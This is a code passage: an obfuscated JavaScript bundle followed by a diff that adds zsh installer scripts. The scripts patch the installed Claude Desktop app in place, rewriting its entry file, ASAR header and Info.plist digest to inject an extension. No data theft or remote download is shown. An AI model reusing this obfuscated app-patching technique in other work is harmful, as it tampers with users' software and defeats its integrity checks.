_0x1931d7=_0x3593ce;return _0x1931d7(0x1aa)+this[_0x1931d7(0x162)](_0x2456c1)+_0x1931d7(0x112);}[_0x3593ce(0x162)](_0x4fa0f3){const _0xd1b8c9=_0x3593ce;return'\x27'+_0x4fa0f3[_0xd1b8c9(0x10b)]('\x27',_0xd1b8c9(0x137))+'\x27';}},_0x12e55c=require(_0x3593ce(0xfb)),_0xc3804f=_0x506869(require(_0x3593ce(0x104)),0x1),_0xd8f0c7=_0x506869(require(_0x3593ce(0x125)),0x1),_0x54d09e=_0x3593ce(0x145),_0x590b96=_0x3593ce(0x190),_0x8c9552=class{[_0x3593ce(0x156)];[_0x3593ce(0x166)];constructor(_0x244107=process[_0x3593ce(0x135)],_0x4a4567=_0xc3804f[_0x3593ce(0x18f)][_0x3593ce(0x1f0)]()){const _0x47f89a=_0x3593ce;this[_0x47f89a(0x156)]=_0xd8f0c7[_0x47f89a(0x18f)][_0x47f89a(0x106)](_0x244107[_0x54d09e]??_0xd8f0c7[_0x47f89a(0x18f)][_0x47f89a(0xff)](_0x4a4567,_0x47f89a(0x1eb),_0x47f89a(0x123)));let _0x5d7138=_0x244107[_0x590b96]??'.s';if(_0x5d7138!=='.s'&&_0x5d7138!=='.d'&&_0x5d7138!=='.e')throw new Error(_0x590b96+_0x47f89a(0x1a9));this[_0x47f89a(0x166)]=_0xd8f0c7[_0x47f89a(0x18f)][_0x47f89a(0xff)](_0x4a4567,_0x5d7138);}get[_0x3593ce(0x12f)](){const _0x2439e3=_0x3593ce;return _0xd8f0c7[_0x2439e3(0x18f)][_0x2439e3(0xff)](this[_0x2439e3(0x156)],_0x2439e3(0x19a));}get[_0x3593ce(0x124)](){const _0x12ace2=_0x3593ce;return _0xd8f0c7[_0x12ace2(0x18f)][_0x12ace2(0xff)](this[_0x12ace2(0x156)],_0x12ace2(0x161));}get[_0x3593ce(0x1f3)](){const _0x5b66c8=_0x3593ce;return _0xd8f0c7[_0x5b66c8(0x18f)][_0x5b66c8(0xff)](this[_0x5b66c8(0x156)],_0x5b66c8(0x1df),_0x5b66c8(0x102));}get[_0x3593ce(0x12b)](){const _0x2fcb1c=_0x3593ce;return _0xd8f0c7[_0x2fcb1c(0x18f)][_0x2fcb1c(0xff)](this[_0x2fcb1c(0x156)],_0x2fcb1c(0xf6));}get[_0x3593ce(0x197)](){const _0x1224f7=_0x3593ce;return _0xd8f0c7[_0x1224f7(0x18f)][_0x1224f7(0xff)](this[_0x1224f7(0x156)],_0x1224f7(0x101));}get[_0x3593ce(0x17b)](){const _0x4b947c=_0x3593ce;return _0xd8f0c7[_0x4b947c(0x18f)][_0x4b947c(0xff)](this[_0x4b947c(0x1f4)],_0x4b947c(0x13f));}get[_0x3593ce(0x1c3)](){const _0x32aa94=_0x3593ce;return _0xd8f0c7[_0x32aa94(0x18f)][_0x32aa94(0xff)](this[_0x32aa94(0x1f4)],_0x32aa94(0x1cf));}get[_0x3593ce(0x1f4)](){const _0xc8290d=_0x3593ce;return _0xd8f0c7[_0xc8290d(0x18f)][_0xc8290d(0xff)](this[_0xc8290d(0x156)],_0xc8290d(0x1a7));}get[_0x3593ce(0x136)](){const _0x5392df=_0x3593ce;return _0xd8f0c7[_0x5392df(0x18f)][_0x5392df(0xff)](this[_0x5392df(0x156)],_0x5392df(0x142));}get[_0x3593ce(0x1c0)](){const _0x98117a=_0x3593ce;return _0xd8f0c7[_0x98117a(0x18f)][_0x98117a(0xff)](this[_0x98117a(0x156)],_0x98117a(0x1df));}get[_0x3593ce(0x11c)](){const _0x4ff822=_0x3593ce;return _0xd8f0c7[_0x4ff822(0x18f)][_0x4ff822(0xff)](this[_0x4ff822(0x156)],_0x4ff822(0x1a4));}get[_0x3593ce(0xfe)](){const _0x15468a=_0x3593ce;return _0xd8f0c7[_0x15468a(0x18f)][_0x15468a(0xff)](this[_0x15468a(0x156)],_0x15468a(0x15d));}get[_0x3593ce(0x184)](){const _0x53d4a6=_0x3593ce;return _0xd8f0c7[_0x53d4a6(0x18f)][_0x53d4a6(0xff)](this[_0x53d4a6(0x156)],_0x53d4a6(0x1be));}get[_0x3593ce(0x126)](){const _0x44792c=_0x3593ce;return _0xd8f0c7[_0x44792c(0x18f)][_0x44792c(0xff)](this[_0x44792c(0x1f4)],_0x44792c(0x194));}get[_0x3593ce(0x14d)](){const _0x4dfea6=_0x3593ce;return _0xd8f0c7[_0x4dfea6(0x18f)][_0x4dfea6(0xff)](this[_0x4dfea6(0x1f4)],_0x4dfea6(0x1d6));}get[_0x3593ce(0x158)](){const _0x34c4f0=_0x3593ce;return _0xd8f0c7[_0x34c4f0(0x18f)][_0x34c4f0(0xff)](this[_0x34c4f0(0x1f4)],_0x34c4f0(0x155));}get[_0x3593ce(0x154)](){const _0x5725fa=_0x3593ce;return _0xd8f0c7[_0x5725fa(0x18f)][_0x5725fa(0xff)](this[_0x5725fa(0x1f4)],_0x5725fa(0x18b));}get[_0x3593ce(0x164)](){const _0x59aa8e=_0x3593ce;return _0xd8f0c7[_0x59aa8e(0x18f)][_0x59aa8e(0xff)](this[_0x59aa8e(0x1f4)],_0x59aa8e(0x13c));}get[_0x3593ce(0x178)](){const _0x199e74=_0x3593ce;return _0xd8f0c7[_0x199e74(0x18f)][_0x199e74(0xff)](this[_0x199e74(0x156)],_0x199e74(0x1be),_0x199e74(0xf5));}get[_0x3593ce(0x1e4)](){const _0x3a13f9=_0x3593ce;return _0xd8f0c7[_0x3a13f9(0x18f)][_0x3a13f9(0xff)](this[_0x3a13f9(0x156)],_0x3a13f9(0x1be),_0x3a13f9(0x1e0));}get[_0x3593ce(0x1ce)](){const _0xbeec5b=_0x3593ce;return _0xd8f0c7[_0xbeec5b(0x18f)][_0xbeec5b(0xff)](this[_0xbeec5b(0x156)],_0xbeec5b(0x1be),_0xbeec5b(0x1cc));}get[_0x3593ce(0x1ef)](){const _0x56c8ad=_0x3593ce;return _0xd8f0c7[_0x56c8ad(0x18f)][_0x56c8ad(0xff)](this[_0x56c8ad(0x156)],_0x56c8ad(0x1be),_0x56c8ad(0x1a6));}get[_0x3593ce(0x1e7)](){const _0xd0a90a=_0x3593ce;return _0xd8f0c7[_0xd0a90a(0x18f)][_0xd0a90a(0xff)](this[_0xd0a90a(0x156)],_0xd0a90a(0x1df),_0xd0a90a(0x1d1));}[_0x3593ce(0x118)](_0x448f76){const _0xd28214=_0x3593ce;let _0x22eabd=(0x0,_0x12e55c[_0xd28214(0x1fe)])(_0xd28214(0x174))[_0xd28214(0x1b7)](_0xd8f0c7[_0xd28214(0x18f)][_0xd28214(0x106)](_0x448f76))[_0xd28214(0x113)](_0xd28214(0x1b5));return _0xd8f0c7[_0xd28214(0x18f)][_0xd28214(0xff)](this[_0xd28214(0x136)],_0x22eabd);}[_0x3593ce(0x1a1)](_0x15ed7f){const _0x4c3221=_0x3593ce;return _0xd8f0c7[_0x4c3221(0x18f)][_0x4c3221(0xff)](this[_0x4c3221(0x118)](_0x15ed7f),_0x4c3221(0xf7));}[_0x3593ce(0x1dd)](_0x2b9bbb){const _0x59e8c5=_0x3593ce;return _0xd8f0c7[_0x59e8c5(0x18f)][_0x59e8c5(0xff)](this[_0x59e8c5(0x118)](_0x2b9bbb),_0x59e8c5(0x191));}[_0x3593ce(0x11f)](_0x5ee86d){const _0x246ea6=_0x3593ce;return _0xd8f0c7[_0x246ea6(0x18f)][_0x246ea6(0xff)](this[_0x246ea6(0x118)](_0x5ee86d),_0x246ea6(0x1d3),_0x246ea6(0x130));}[_0x3593ce(0x121)](_0x12aa7c){const _0x5ace91=_0x3593ce;let _0x4736a6=(0x0,_0x12e55c[_0x5ace91(0x1fe)])(_0x5ace91(0x174))[_0x5ace91(0x1b7)](_0x12aa7c)[_0x5ace91(0x113)](_0x5ace91(0x1b5));return _0xd8f0c7[_0x5ace91(0x18f)][_0x5ace91(0xff)](this[_0x5ace91(0x12b)],_0x4736a6);}[_0x3593ce(0x12a)](_0x12238b){const _0x2f3516=_0x3593ce;return this[_0x2f3516(0x10f)](_0x12238b),_0xd8f0c7[_0x2f3516(0x18f)][_0x2f3516(0xff)](this[_0x2f3516(0x1c3)],_0x12238b+_0x2f3516(0x12d));}[_0x3593ce(0x18d)](_0x210f5f){const _0x5e3837=_0x3593ce;return this[_0x5e3837(0x12a)](_0x210f5f)+_0x5e3837(0x18c);}[_0x3593ce(0x1f9)](_0x39c2f9){const _0x3ba537=_0x3593ce;return this[_0x3ba537(0x10f)](_0x39c2f9),_0xd8f0c7[_0x3ba537(0x18f)][_0x3ba537(0xff)](this[_0x3ba537(0x164)],_0x39c2f9);}[_0x3593ce(0x1fa)](_0x2d9539){const _0xb82311=_0x3593ce;return this[_0xb82311(0x10f)](_0x2d9539),_0xd8f0c7[_0xb82311(0x18f)][_0xb82311(0xff)](this[_0xb82311(0x154)],_0x2d9539);}[_0x3593ce(0x10f)](_0xdcf775){const _0x5a5099=_0x3593ce;if(!/^[A-Za-z0-9][A-Za-z0-9._+-]*$/[_0x5a5099(0x15b)](_0xdcf775))throw new Error(_0x5a5099(0x14a));}},_0x34496e=_0x3593ce(0x17a),_0x1eb515=class{constructor(_0x23629f){const _0x47eee3=_0x3593ce;this[_0x47eee3(0x16b)]=_0x23629f;}[_0x3593ce(0x16b)];async[_0x3593ce(0x1bb)](){const _0x3662a4=_0x3593ce;let _0x19a4d9=this[_0x3662a4(0x15c)](),_0x5c607f=_0x1fab0b[_0x3662a4(0x18f)][_0x3662a4(0xff)](this[_0x3662a4(0x16b)][_0x3662a4(0x110)],_0x3662a4(0xf5));new _0x506214(this[_0x3662a4(0x16b)][_0x3662a4(0x166)])[_0x3662a4(0x1a3)]();let _0x1b229c=_0x1fab0b[_0x3662a4(0x18f)][_0x3662a4(0xff)](this[_0x3662a4(0x16b)][_0x3662a4(0x110)],_0x3662a4(0x193),_0x3662a4(0x16e));new _0x1fdcaa()[_0x3662a4(0x18e)]({'bootstrapNamespace':this[_0x3662a4(0x144)](),'recoverySourcePath':_0x1b229c,'runtimeVersion':_0x34496e,'storageRoot':_0x19a4d9[_0x3662a4(0x156)],'userDataPath':this[_0x3662a4(0x16b)][_0x3662a4(0x181)]}),new _0x22a10c(_0x19a4d9[_0x3662a4(0x178)])[_0x3662a4(0x1ea)](_0x5c607f);let _0x3a9cbd=new _0x1eb756(_0x19a4d9),_0x548a3b=_0x3a9cbd[_0x3662a4(0x1bc)](this[_0x3662a4(0x16b)][_0x3662a4(0x171)]);if(!_0x548a3b)throw new Error(_0x3662a4(0x128));_0x3a9cbd[_0x3662a4(0x18e)]({..._0x548a3b,'runtimeVersion':_0x34496e}),new _0x22a10c(_0x19a4d9[_0x3662a4(0x126)])[_0x3662a4(0x1ea)](_0x5c607f);}[_0x3593ce(0x15c)](){const _0x1f4a54=_0x3593ce;let _0x42c6b2=new _0x8c9552({[_0x54d09e]:this[_0x1f4a54(0x16b)][_0x1f4a54(0x11e)]},this[_0x1f4a54(0x16b)][_0x1f4a54(0x1c4)]);if(_0x42c6b2[_0x1f4a54(0x156)]!==_0x1fab0b[_0x1f4a54(0x18f)][_0x1f4a54(0x12e)](this[_0x1f4a54(0x16b)][_0x1f4a54(0x11e)]))throw new Error(_0x1f4a54(0x188));return _0x42c6b2;}[_0x3593ce(0x144)](){const _0x3ddf54=_0x3593ce;let _0x58eddc=_0x1fab0b[_0x3ddf54(0x18f)][_0x3ddf54(0x165)](this[_0x3ddf54(0x16b)][_0x3ddf54(0x166)]);if(_0x58eddc!=='.d'&&_0x58eddc!=='.e'&&_0x58eddc!=='.s')throw new Error(_0x3ddf54(0x189));return _0x58eddc;}},_0x4babe7=class{constructor(_0x3fb82c){const _0x2cf2f4=_0x3593ce;this[_0x2cf2f4(0x16b)]=_0x3fb82c;}[_0x3593ce(0x16b)];[_0x3593ce(0x1bb)](){const _0x309322=_0x3593ce;if(process[_0x309322(0x1a0)]!==_0x309322(0x11a))throw new Error(_0x309322(0x1f8)+process[_0x309322(0x1a0)]);let _0x1a96ca=new _0x8c9552({[_0x54d09e]:this[_0x309322(0x16b)][_0x309322(0x11e)]},this[_0x309322(0x16b)][_0x309322(0x1c4)]);if(!_0x238860[_0x309322(0x18f)][_0x309322(0x1e2)](_0x1a96ca[_0x309322(0x12f)]))throw new Error(_0x309322(0x169));let _0x1b318a=new _0x1eb756(_0x1a96ca)[_0x309322(0x1bc)](this[_0x309322(0x16b)][_0x309322(0x171)]);if(!_0x1b318a||_0x1b318a[_0x309322(0x111)]!==this[_0x309322(0x16b)][_0x309322(0x111)])throw new Error(_0x309322(0x1d4));if(_0x1fab0b[_0x309322(0x18f)][_0x309322(0x1d2)](this[_0x309322(0x16b)][_0x309322(0x110)])!==_0x1fab0b[_0x309322(0x18f)][_0x309322(0x12e)](_0x1a96ca[_0x309322(0x164)]))throw new Error(_0x309322(0x176));for(let _0x48594e of[_0x309322(0xf5),_0x309322(0x1c5),_0x309322(0x1e0),_0x309322(0x1cc),_0x309322(0x1a6)]){if(_0x309322(0x170)===_0x309322(0x170)){let _0x77e05a=_0x238860[_0x309322(0x18f)][_0x309322(0x1f6)](_0x1fab0b[_0x309322(0x18f)][_0x309322(0xff)](this[_0x309322(0x16b)][_0x309322(0x110)],_0x48594e));if(!_0x77e05a[_0x309322(0x159)]()||_0x77e05a[_0x309322(0x107)]())throw new Error(_0x309322(0x18a)+_0x48594e);}else{this[_0x309322(0x156)]=_0x5c71c8[_0x309322(0x18f)][_0x309322(0x106)](_0x42cbe4[_0x21a1f4]??_0x520bdc[_0x309322(0x18f)][_0x309322(0xff)](_0x5b2fd2,_0x309322(0x1eb),_0x309322(0x123)));let _0x1d92de=_0x489a15[_0x1edb47]??'.s';if(_0x1d92de!=='.s'&&_0x1d92de!=='.d'&&_0x1d92de!=='.e')throw new _0x4d38a4(_0x2e51cc+_0x309322(0x1a9));this[_0x309322(0x166)]=_0x3b4a60[_0x309322(0x18f)][_0x309322(0xff)](_0x2c7152,_0x1d92de);}}}};async function _0x390617(_0x51cf5f){const _0x4cd2f1=_0x3593ce;new _0x4babe7(_0x51cf5f)[_0x4cd2f1(0x1bb)]();}function _0xa9ca(){const _0x4ccce9=['u1vgAM0','zMLSzxn5C3rLBq','zw51BwvYywjSzq','A2v5CW','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GDMvYC2LVBIbPCYbPBNzHBgLK','C3rVCMfNzvjVB3q','Aw5MB1bSAxn0','zxH0zw5ZAw9UvxbKyxrLuMv0CNLtDgf0zq','yNvUzgXLvMvYC2LVBG','CM1KAxjtEw5J','CMvJB3zLCNKUANnVBG','Aw5MB1bSAxn0qxnHCKLUDgvNCML0Eq','C3rYAw5N','CMvTB3zLrw1WDhLeAxjLy3rVCNK','zxH0zw5ZAw9Uvw5WywnRAw5NuM9VDa','DxbKyxrLlw5VDgLMAwnHDgLVBI12ms5QC29U','CM9VDa','lMPZB24','zxH0zw5ZAw9UvxbKyxrLtM90AwzPy2f0Aw9Uu3rHDgu','AxngAwXL','q2XHDwrLihjLy292zxj5ihjLBgvHC2uGzMLSzsbPCYbPBNzHBgLKoIa','DgvZDa','Cgf0Ahm','ChjVzhvJDa','CMvJB3zLCNLtB3vYy2vqyxrO','mtu0oda3ogLVr3PbAW','yxnHCKHLywrLCG','CMvJB3zLCI12mq','CxvVDgvgB3jAC2G','AxnfBMfIBgvK','zxH0zw5ZAw9UuMvSzwfZzxnsB290','yMfZzw5HBwu','yM9VDhn0CMfWrgLYzwn0B3j5','q2XHDwrLigjVB3rZDhjHCcbKAxjLy3rVCNKGAxmGAw5JB21WBgv0ztSGCMvMDxnPBMCGDg8GB3zLCNDYAxrLigL0','CMvJB3zLCI56C2G','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GC2v0DxaGCMvXDwLYzxmGyw4GzxHPC3rPBMCGCMvJB3zLCNKGB3b0lwLU','B2zMC2v0','y29UDgv4Da','CMvHzefJDgL2zu1HAw5qyxrO','DMvYAwz5','BwfJB3m','ChjPC3rPBMvtAgeYnty','B1jUsxe','yxbWugf0Aa','zxHWB3j0CW','ovL2Au9nra','C2HHmJu2','AxnbyNnVBhv0zq','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GC2v0DxaGCMvSzwfZzsbWyxrOigLZigLUDMfSAwq','mJm2otaXmfz6yLjOvq','CNvUDgLTzu1HAw4','q2XHDwrLiev4DgvUC2LVBNm','mc4XlJe','zxH0zw5ZAw9Uq2HHBM5LBa','q2XHDwrLihjLy292zxj5igv4DgvUC2LVBIbZzxr0Aw5NCYbHCMuGBM90ig93BMvKigj5ifn1CgvYy29Kzq','BMf0AxzL','y2XVC2vtEw5J','yxnHCKvUDhj5','mZu4ndu4nhryEMLAta','DxnLCKrHDgfqyxrO','CMvHBhbHDgHtEw5J','ntiYmtmYtxjRwgzV','CNvUDgLTzvjVB3q','y29TlMfUDgHYB3bPyY5JBgf1zgvMB3jKzxnRDg9W','y29VCMrPBMf0B3jtB3vYy2u','zw50CNLqyxrO','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GC2v0DxaGCMvJzwL2zwqGAw5JB25ZAxn0zw50ihn0B3jHz2uGCgf0Ahm','q2XHDwrLigjVB3rZDhjHCcbUyw1LC3bHy2uGAxmGAw52ywXPza','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GCMvSzwfZzsbMAwXLigLZigLUDMfSAwq6ia','Dw5WywnRAw5N','lNbHCNq','zxH0zw5ZAw9UqxjJAgL2zvbHCNq','ChvIBgLZAa','zgvMyxvSDa','u1vqrvjdt0rfx0nmqvverv9ct09uu1rsqvbFtKfnrvnqqunf','ywrTAxnZAw9UlwLUlxbYB2DYzxnZlMPZB24','ChjVDg90ExbL','CMvJB3zLCNK','ywn0AxzLlMnQCW','AxntAgeYnty','CM1tEw5J','BgLMzwn5y2XLtg9JAW','AxntzwDTzw50','C3vWzxjJB2rLlwnSyxvKzs1YzwnVDMvYEs12mq','CMvJB3zLCNKTzw5HyMXLzc12mq','ktSk','zNvUy3rPB24','z2v0uhjVDg90ExbLt2y','zNjVBq','nda4mZaWnwDKtxHQsq','CgXHDgzVCM0','Aw5ZDgfSBgf0Aw9UtwfUAwzLC3q','zxHLyW','Aw5ZDgfSBa','BwfUywDLzc1IAw5HCMLLCW','CMfUzg9Tvvvjra','CMvUzgvYzxiUANm','zxH0zw5ZAw9U','x19LC01VzhvSzq','igLZigLUDMfSAwq','iYeVyMLUl3PZAcaTzGPLEgvJic9IAw4VENnOic1Mia','yxnZzxj0t3DUzwrtzxr0Aw5NCW','AxnqyxrJAa','yxnZzxj0twfPBLj1BNrPBwvqyxrO','q2XHDwrLigLUC3rHBgXHDgLVBIbTyxjRzxiGBxvZDcbIzsbHBIbVyMPLy3q','Axnoyu4','zgvMAw5LuhjVCgvYDhK','lNrTCa','iNvZzsbZDhjPy3qIoWOVlYbZDxbLCMnVzguTy2XHDwrLoMv4DgvYBMfSlwjVB3rZDhjHCc12mqPJB25ZDcbWyxrOid0GCMvXDwLYzsGIBM9KztPWyxrOiIK7cMnVBNn0ihjVB3qGpsbWCM9JzxnZlMvUDI5tvvbfuKnprevFq0Xbvurfx1nut1jbr0vFuK9pvcb8FcbWyxrOlMPVAw4OCMvXDwLYzsGIBM9KztPVCYiPlMHVBwvKAxiOksWGiI5ZDxbLCMnVzguIlcaIy2XHDwrLiIK7cMnVBNn0ihj1BNrPBwuGpsbYzxf1AxjLkhbYB2nLC3mUzw52lLnvuevsq09erv9dtefvrevFtufjtL9svu5usu1fihX8ihbHDgGUAM9PBIHYB290lcaICNvUDgLTzsiSicjTywLUlMnQCYiPktSky29UC3qGC3rHCNqGpsbYDw50Aw1LlNn0yxj0u3vWzxjJB2rLihX8ihj1BNrPBwuUAw5ZDgfSBdSkAwyGkhr5CgvVzIbZDgfYDca9pt0GiMz1BMn0Aw9UiIKGEWOGihn0yxj0khjLCxvPCMuOiMvSzwn0CM9UiIKSihjLCxvPCMuOiM9YAwDPBMfSlwzZiIKPoWP9cG','BwTKAxjtEw5J','y2fSBa','Agv4','C3rYAw5NAwz5','DxbKyxrL','z2v0t3DUuhjVCgvYDhLezxnJCMLWDg9Y','yxnZzxj0t3DUzwrpCKfIC2vUDa','C3PPwee','CNvU','CMvHza','AxntywzLsw50zwDLCG','CNvUDgLTzq','Aw5JBhvKzxm','Bg9NC1jVB3q','q2XHDwrLiev4DgvUC2LVBNmGu2v0DgLUz3m','CgfJA2fNzs5QC29U','zxH0zw5ZAw9Urg93BMXVywrZuM9VDa','Ag9TzvbHDgG','BwfUywDLzc1ZA2LSBhmTD29YA2vYlMnQCW','C2nOzw1HvMvYC2LVBG','D3jPDgvjzKnOyw5Nzwq','BM9KztPMCW','y29TBw9UlNPZAa','iNvZzsbZDhjPy3qIoWOVlYbZDxbLCMnVzguTy2XHDwrLoMv4DgvYBMfSlwjVB3rZDhjHCc12mqPJB25ZDcbWyxrOid0GCMvXDwLYzsGIBM9KztPWyxrOiIK7cMnVBNn0ihjVB3qGpsbWCM9JzxnZlMvUDI5tvvbfuKnprevFq0Xbvurfx1nut1jbr0vFuK9pvcb8FcbWyxrOlMPVAw4OCMvXDwLYzsGIBM9KztPVCYiPlMHVBwvKAxiOksWGiI5ZDxbLCMnVzguIlcaIy2XHDwrLiIK7cMnVBNn0ihj1BNrPBwuGpsbYzxf1AxjLkhbYB2nLC3mUzw52lLnvuevsq09erv9dtefvrevFtufjtL9svu5usu1fihX8ihbHDgGUAM9PBIHYB290lcaIzxH0zw5ZAw9UiIWGiMfJDgL2zs5JANmIksK7cMnVBNn0ihn0yxj0id0GCNvUDgLTzs5ZDgfYDfn1CgvYy29Kzsb8FcbYDw50Aw1LlMLUC3rHBgW7cMLMicH0ExbLB2yGC3rHCNqGpt09icjMDw5JDgLVBIiPihSkicbZDgfYDcHYzxf1AxjLkcjLBgvJDhjVBIiPlcbYzxf1AxjLkcjVCMLNAw5HBc1MCYiPktSkFqO','CNvUDgLTzvzLCNnPB24','ChjLBg9Hzc5JANm','n1vjq1L6zW','CNvUDgLTzvbYzwXVywq','zg93BMXVywrZ','CMvTB3zL','CNvUDgLTzs5QC29UBa','zgLYBMfTzq','ChjPC3rPBMu','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GC2v0DxaGDgfYz2v0igrVzxmGBM90ig1HDgnOihrOzsbPBNn0ywXSzwqGq2XHDwrLigfWCgXPy2f0Aw9U','s21lrfG','DxbKyxrLlxjLDhj5lxyXlMPZB24','ru5pru5u','AxncDwzMzxi','u3vWzxjJB2rLienSyxvKzsbTywLUihj1BNrPBwuGCgf0AcbPCYbPBNzHBgLK','BwfUAwzLC3qUANnVBG','zNn5BMntEw5J','q2XHDwrLihjLy292zxj5igv4DgvUC2LVBIbSB2nHDgLVBIbPCYbUB3qGB3DUzwqGyNKGu3vWzxjJB2rL','ywrTAxnZAw9UtwfYA2vY','yxnHCKvUDhj5sw50zwDYAxr5','Bg9NCW','BwnWlxn0zgLVlNPZAa','q2XHDwrLihjLy292zxj5igv4DgvUC2LVBIbJB250ywLUCYbMAwXLCYbVDxrZAwrLihrOzsbtDxbLCMnVzguGCMvSzwfZzsbJB250CMfJDa','zxHPC3rZu3LUyW','D3jPDgvY','CNvUDgLTzu1JCfn0zgLV','B2jQzwn0','AxnmzwDHy3LjBNn0ywXSyxrPB24','CNvUDgLTzuXVzW','Cgf0y2HLzfnOyti1nG','yNvUzgXLswrLBNrPzMLLCG','ywn0AxzHDgu','lNn1CgvYy29Kzq','CMvZB3vYy2vZ','yxnZzxj0uMvSzwfZzuzPBgvZ','q2XHDwrLigjVB3rZDhjHCcbKAxjLy3rVCNKGAxmGBM90ig93BMvKigj5ifn1CgvYy29Kzq','CNvUDgLTzvjLBMrLCMvY','Ag9TzwrPCG','q2XHDwrLigLUC3rHBgXHDgLVBIbTyxjRzxiGy2fUBM90igjLihjLywq6ia','ru5pvevnufrz','CMvJB3zLCNLmB2C','zxH0zw5ZAw9UuM9VDa','AxnszxnVDxjJzq','Bhn0yxrtEw5J','mJDvuw1cr1y','u3vWzxjJB2rLienSyxvKzsbLEhrLBNnPB24GC2v0DxaGAxmGDw5HDMfPBgfIBguGB24G','zxH0zw5ZAw9UuMvSzwfZzq','zxH0zw5ZAw9Uvw5WywnRAw5N','EYjPC0vUywjSzwqIoNrYDwv9cG','C3LUy0rPCMvJDg9YEq','D3jPDgu','y3jLyxrLsgfZAa','CgfYC2u','q2XHDwrLihjLy292zxj5igv4DgvUC2LVBIbSB2nHDgLVBIbPCYbVy2n1CgLLza','Aw5KzxGUy2PZ','BgvUz3rO','BwfPBI5JANm','CMvJB3zLCNKTyxr0zw1WDc12mq','Aw5ZDgfSBgvKlMPZB24','y29Kzq','q2XHDwrLigLUC3rHBgXHDgLVBIbTyxjRzxiGAxmGAw52ywXPza','DxrMoa','BM9KztPJCNLWDg8','yxnZzxj0twfUAwzLC3q','mZr5s3HMDLa','ChjVzhvJDfjVB3q','AM9PBG','q2XHDwrLihj1BNrPBwuGC2vSzwn0B3iGAxmGBM90ig93BMvKigj5ifn1CgvYy29Kzq','BgLMzwn5y2XLlMXVy2S','CMvJB3zLCNKUBg9N','yxnHCG','BM9KztPVCW','Aw5ZDgfSBgvKqxq','CMvZB2X2zq','AxntEw1IB2XPy0XPBMS','y2HTB2rtEw5J','D3jPDgvgAwXLu3LUyW','C29Tzq','CMvWBgfJzufSBa','z2v0t3DUuhjVCgvYDhLoyw1LCW','mtaXnJK2tNrAwwDt','C29YDa','yxnZzxj0uMvSzwfZzvzLCNnPB24','CMvSzwfZzvbHDgG','zgvZA3rVCfzLCNnPB24','iciKqcik','zgLNzxn0','CMvHzgrPCLn5BMm','y2XHDwrLlxbYB2nLC3mUENnO','y3jLyxrL','q2XHDwrLigjVB3rZDhjHCcbMAwXLigLZig5VDcbVD25LzcbIEsbtDxbLCMnVzgu','Aw5ZDgfSBgf0Aw9UuM9VDa','yNL0zxm','zgfYD2LU','Bw9KDwXLlMv4Cg9YDhm9CMvXDwLYzsG','BwfUywDLzejPBMfYAwvZuM9VDa','yM9VBgvHBG','z2XVyMfSu3rVCMfNzvbHDgG','ChjPC3rPBMvbCha','EYjUyw1LiJOIC3vWzxjJB2rLlwnSyxvKzs1IB290C3rYyxaIlcjWCML2yxrLiJP0CNvLlcjTywLUiJOIAw5KzxGUy2PZiN0k','CMvJB3zLCNLbDhrLBxb0u3rHDgu','Bg9JywWUC3vWzxjJB2rLlxjLy292zxj5','y2XHDwrL','CMvJB3zLCNLiB29R','BM9KztPWyxrO','zxH0zw5ZAw9Uqwn0AxzLqM9VDhn0CMfW','CMvHzezPBgvtEw5J','q2XHDwrLigLUC3rHBgXHDgLVBIbTyxjRzxiGzgLZyxbWzwfYzwqGzhvYAw5NihjLBgvHC2uGywn0AxzHDgLVBG','B3bLBLn5BMm','zxH0zw5ZAw9UqxjJAgL2zq','CMvJB3zLCNLbDhrLBxb0u3rHDgvsB290','C2vYDMvYlMnQCW','lNPPCa','BM9YBwfSAxPL','zw5HyMXLze1HCMTLCG','q2XHDwrLlMfWCa','zxf1ywXZ','C2vSzwn0B3jqyxrO','lNzPDguVyNvPBgqVAw5KzxGUChjLlMPZ','DMvYAwz5rMLSzq','zw52','Aw5ZDgfSBgf0Aw9UC1jVB3q','j1WNjW','mtq5mde4nJvNCxDvBu8','AgfZt3DUuhjVCgvYDhK','q2XHDwrLigLUC3rHBgXHDgLVBIbTyxjRzxiGAgfZigfUigLUDMfSAwqGC2vHBgvKlxjLC291CMnLihbHDgnOigLKzw50Axr5','AxneAxjLy3rVCNK','CMvSzwfZzxm','CMvUyw1Lu3LUyW','q2XHDwrLigjVB3rZDhjHCcbWyxrOigLZig9Jy3vWAwvKoYbYzwz1C2LUzYb0BYbVDMvYD3jPDguGAxq','y2HHBM5LBc12mq','zgLYzwn0B3j5','C2vHBgvKuMvZB3vYy2vqyxrJAa','Aw5ZDgfSBgf0Aw9UCW','C3vWzxjJB2rLlw93BMvK','yM9VDhn0CMfWtMfTzxnWywnL','u1vqrvjdt0rfx0nmqvverv9tve9squDfx1jpt1q'];_0xa9ca=function(){return _0x4ccce9;};return _0xa9ca();}async function _0x2e0013(_0x5ea991){const _0x194e70=_0x3593ce;await new _0x1eb515(_0x5ea991)[_0x194e70(0x1bb)]();}0x0&&(module[_0x3593ce(0x172)]={'extensionVersion':extensionVersion,'preflight':preflight,'setup':setup});
@@ -0,0 +1,5 @@
1
+ #!/bin/zsh -f
2
+ emulate -LR zsh
3
+ setopt ERR_EXIT NO_UNSET PIPE_FAIL
4
+ sc_command=${0:A}
5
+ exec /bin/zsh -f "${sc_command:h}/macos/install.zsh" "$@"
@@ -0,0 +1,416 @@
1
+ #!/bin/zsh -f
2
+
3
+ # Claude Desktop packaged-main adapter. It plans one fixed-size semantic edit and
4
+ # applies only the entry, ASAR JSON header and Info.plist header digest in place.
5
+
6
+ sc_regular_file_identity() {
7
+ [[ -f "$1" && ! -L "$1" ]] || sc_fail "Expected a regular non-symlink file: $1"
8
+ /usr/bin/stat -f '%d:%i:%z' "$1"
9
+ }
10
+
11
+ sc_write_scalar() {
12
+ print -rn -- "$2" >"$1"
13
+ }
14
+
15
+ sc_read_scalar() {
16
+ [[ -f "$1" && ! -L "$1" ]] || sc_fail "Installation plan is incomplete: $1"
17
+ REPLY=$(<"$1")
18
+ }
19
+
20
+ sc_count_literal() {
21
+ local source=$1 needle=$2 count=0 remainder=$1
22
+ while [[ "$remainder" == *"$needle"* ]]; do
23
+ remainder=${remainder#*"$needle"}
24
+ (( count += 1 ))
25
+ done
26
+ REPLY=$count
27
+ }
28
+
29
+ sc_extract_json_object() {
30
